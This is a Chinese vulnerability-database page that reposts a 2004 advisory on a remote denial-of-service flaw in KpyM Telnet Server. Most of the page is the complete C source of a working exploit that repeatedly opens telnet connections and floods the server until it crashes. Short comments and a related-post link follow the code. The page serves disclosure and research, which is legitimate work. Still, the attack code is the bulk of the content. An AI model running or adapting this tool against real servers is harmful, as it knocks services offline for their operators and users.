Kroum Grigorov KpyM Telnet Server 1.0 – Remote Denial of Service
漏洞ID | 1054349 | 漏洞类型 | |
发布时间 | 2004-01-07 | 更新时间 | 2004-01-07 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Windows | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9379/info
KpyM Telnet Server has been reported to be prone to a remote denial of service vulnerability. Due to a lack of resource limitations, a remote attacker may negotiate multiple connections to the affected server. This will cause multiple instances of the a terminal handler executable to be spawned and ultimately, over time, an access violation will be triggered in the KpyM Telnet Server.
/* By NoRpiuS
* UNIX & WIN VERSION
* USE -DWIN to compile on windows
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN
#include <winsock.h>
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define PORT 23
#define BUFFSZ 10000
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
u_char *buff;
struct sockaddr_in peer;
int sd, err;
u_short port = PORT;
setbuf(stdout, NULL);
fputs("n"
"KpyM Telnet Server v1.05 remote DoSn"
"by NoRpiUsn"
"e-mail: [email protected]"
"web: http://norpius.altervista.orgn"
"n", stdout);
if(argc < 2) {
printf("nUso: %s <ip>nn",argv[0]);
exit(1);
}
#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
buff = malloc(BUFFSZ);
if(!buff)
{
fputs("[-] Can't allocate buffern", stdout);
exit(0);
}
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0)
{
fputs("[-] Can't create socketn", stdout);
exit(0);
}
printf("n[+] Connecting to %s:%hu...n",
inet_ntoa(peer.sin_addr), port);
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0)
{
fputs("[-] Can't connectn", stdout);
exit(0);
}
err = recv(sd, buff, BUFFSZ, 0);
if(err < 0)
{
fputs("[-] No response from the server", stdout);
exit(0);
}
memset(buff, 0, BUFFSZ);
fputs("[+] Waiting for the crash.. ", stdout);
while(1)
{
err = send(sd, buff, BUFFSZ, 0);
if(err < 0)
{
fputs("[-] Can't sendn", stdout);
exit(0);
}
printf(".");
close(sd);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if ( err < 0 )
{
fputs("n[+] Crashednr", stdout);
exit(0);
}
}
close(sd);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE)
{
hp = gethostbyname(host);
if(!hp)
{
printf("nError: Unable to resolve hostname (%s)n", host);
exit(1);
}
else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
相关推荐: IBM Net.Commerce 3.1/3.2 Websphere – Weak Password
IBM Net.Commerce 3.1/3.2 Websphere – Weak Password 漏洞ID 1053522 漏洞类型 发布时间 2001-03-07 更新时间 2001-03-07 CVE编号 N/A CNNVD-ID N/A 漏洞平台 M…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666